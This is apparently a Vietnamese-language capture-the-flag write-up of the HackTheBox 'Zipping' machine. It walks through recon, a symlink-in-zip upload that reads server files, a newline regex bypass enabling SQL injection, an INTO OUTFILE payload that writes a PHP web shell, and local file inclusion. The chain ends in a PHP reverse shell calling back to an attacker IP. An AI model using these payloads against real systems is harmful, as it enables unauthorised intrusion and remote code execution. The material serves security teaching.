[Write-up] Hackthebox: Zipping - SQL Injection to LFI
OS | Difficulty |
---|---|
Linux | Medium |
Giới thiệu
Zipping là 1 machine thuộc dạng medium của Hackthebox. Với mức độ easy thì phần lớn là chúng ta sẽ dùng các CVE để thực hiện khai thác. Nhưng với những bài dạng medium thì cần phải có hiểu biết với những lỗ hổng bảo mật cũng như cách bypass filter mà đề bài đặt ra. Với bài zipping này ta sẽ có kiến thức về symlink, bypass được regex, SQL Injection, Local File Inclusion
1. Recon
Thực hiện nmap để scan port đang mở
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.229
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-25 02:33 EST
Nmap scan report for 10.10.11.229
Host is up (2.2s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds
Hiện nó đang mở cổng ssh và http.
Server chạy với ngôn ngữ PHP và trên Apache Server
2. Enum
Thực hiện directory scan
┌──(kali㉿kali)-[~/hackthebox/zipping]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.229/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.229/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 974ms]
uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 124ms]
shop [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 113ms]
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 105ms]
Thực hiện kiểm tra trên giao diện web
Chức năng Work with Us
cho phép ta upload file cv bằng pdf và thư mục lưu trữ các file đó sẽ là /uploads
Chức năng Shop
sẽ redirect ta đến 1 trang web mua hàng:
3. Exploit
Quay lại với chức năng upload cv mà mình tìm được
Yêu cầu đầu vào của nó là file up lên phải là 1 file .zip và file .zip đó được nén từ file .pdf. Như này thì ta không thể thực hiện bằng file upload thông thường với php được
Sau khi tìm kiếm trên hacktricks thì đó là upload symlink. Nguồn của nó ở đây.
Cụ thể ta sẽ thực hiện upload 1 symlink với đuôi .pdf trỏ đến file có trên server. Câu lệnh linux sẽ như sau:
ln -s ../../../../../../../../đường_dẫn_đến_file_ta_cần_xem tên_file.pdf
Sau đó sẽ thực hiện zip lại
zip --symlinks tên_file.zip tên_file.pdf
Để kiểm chứng giả thuyết mình sẽ thực hiện tạo symlink với /etc/passwd
ln -s ../../../../../../../../etc/passwd passwd.pdf
Mình sẽ đặt tên cái symlink này là passwd.pdf
. Sau đó sẽ thực hiện zip lại với tên là passwd.zip
zip --symlinks passwd.zip passwd.pdf
Sau đó sẽ upload lên thành công mình đọc nó sẽ tạo cho mình 1 thư mục ngẫu nhiên trong đó có file pdf(lúc này là symlink) mà mình đã nén. Như hình dưới là /uploads/829dd708554768e3f1bc404bf4daf445/symlink.pdf
Như vậy đến lúc này mình hoàn toàn có thể đọc được flag của user do mình biết trong file /etc/passwd
có 1 người dùng tên là rektsu
và có thư mục là /home/rektsu
(ở dòng 35 ở phần response trả về)
Nhưng mục đích của mình là RCE được hệ thống ít nhất với quyền user nên là mình sẽ không vội xem flag
Đến với việc khai thác chính:
Đầu tiên ta cần phải xem trên web nó gồm những file php nào. Sau một hồi tìm tất cả các chức năng thì mình tìm được các tên tệp sau:
- index.php
- upload.php
- shop (folder )
- home.php
- products.php
- product.php
- cart.php
- function.php
Sau đó chúng ta sẽ đọc từng file trên hệ thống như cái cách ta kiểm chứng giả thuyết với /etc/passwd
ở trên. Mình sẽ đưa các file là attack surface xuống dưới đây và giải thích
/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
Chức năng của file index này nó có input là page
sau đó nó nối input của chúng ta vào đuôi .php
Sau đó sẽ kiểm tra xem nó có tồn tại hay không nếu có sẽ thực hiện include file đó. Nếu không nó sẽ gọi đến home.php
(1 trang không khai thác được)
Thì điểm khai thác ở đây là nó nhận untrusted data ở biếnpage
và sử dụng include để gọi đến, dẫn đến lỗ hổng Local File Inclusion(LFI). Nhưng trở ngại ở đây là cái file mình nhập vào nó phải tồn tại trên server và có đuôi .php
. Và như vậy theo mình đây là 1 nơi để có thể RCE
/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
Ở file product.php
này, nó có biến id
mà ta có thể thay đổi được. Biến id
này sẽ đi vào 1 cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/
, giải thích qua cái regex này thì nó sẽ kiểm tra xem id
có phải là số không, nếu không phải là số web sẽ redirect về index.php
. Nếu là số nó sẽ xuống else
và đi vào câu truy vấn.
Ở code có sử dụng prepare statements(1 cách để chống với SQL injection) nhưng thực ra biến id
được nối vào câu query nên ta vẫn có thể khai thác SQLi được.
Attack vector mình nghĩ trong đầu sẽ là:
- SQL injection để tạo file
shell.php
trong hệ thống - Sau đó dùng LFI để include đến file shell.php rồi có thể RCE hệ thống
Bắt đầu thực hiện
Đầu tiên với product.php
/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
Đầu tiên ta cần nhập biến id
vào mà có thể bypass cái regex ở if và đi đến câu query. Sau khi tìm hiểu thì mình tìm được ở đây , giải thích thì
Để bypass cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/
chúng ta sẽ thực hiện xuống dòng sau (%0A) để bypass cụm 1(.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]
) và để số ở cuối để bypass cụm 2([^0-9]
)
Như vậy input của mình sẽ là:
%0A'; select sleep(5) #4
-- URL encode:
%0a'%3bselect%20sleep(5)%20%234
Câu lệnh này nếu thực hiện sẽ cho hệ thống chờ 5 giây
Kiểm tra trên burp và nó có thời gian phản hồi là 5 giây ở phần khoanh đỏ
Như vậy ta có thể thực hiện SQL trên hệ thống. Nhưng SQL để làm gì? SQL ngoài truy vấn ra còn có thể ghi file lên hệ thống nhưng phải có quyền ghi, mà làm sao mình biết mình có quyền hay không?
Và theo mình tìm hiểu thì chúng ta có quyền ghi file vào /var/lib/mysql/
, nó giống như /tmp
trong linux vậy
Như vậy mình bắt đầu viết câu query để thực hiện tạo file và ghi vào file đó trên /var/lib/mysql/
. Payload là:
%0A';select '<?php system($_GET["cmd"]); ?>' into outfile '/var/lib/mysql/shell123.php' #4
Thực hiện gửi request
Đến đây mình sẽ dùng LFI để có thể gọi đến file .php
này và RCE
Chúng ta thực hiện reverse shell và lắng nghe ở máy local
http://10.10.11.229/shop/index.php?page=../../../../../../../../var/lib/mysql/shell123&cmd=../../../../../../../../var/lib/mysql/shell123&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.74%22,8888);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
RCE thành công
4. Recommendation
- Không cho untrusted data được lọt vào hàm include
- Nên thực sự hiểu và dùng regex
All rights reserved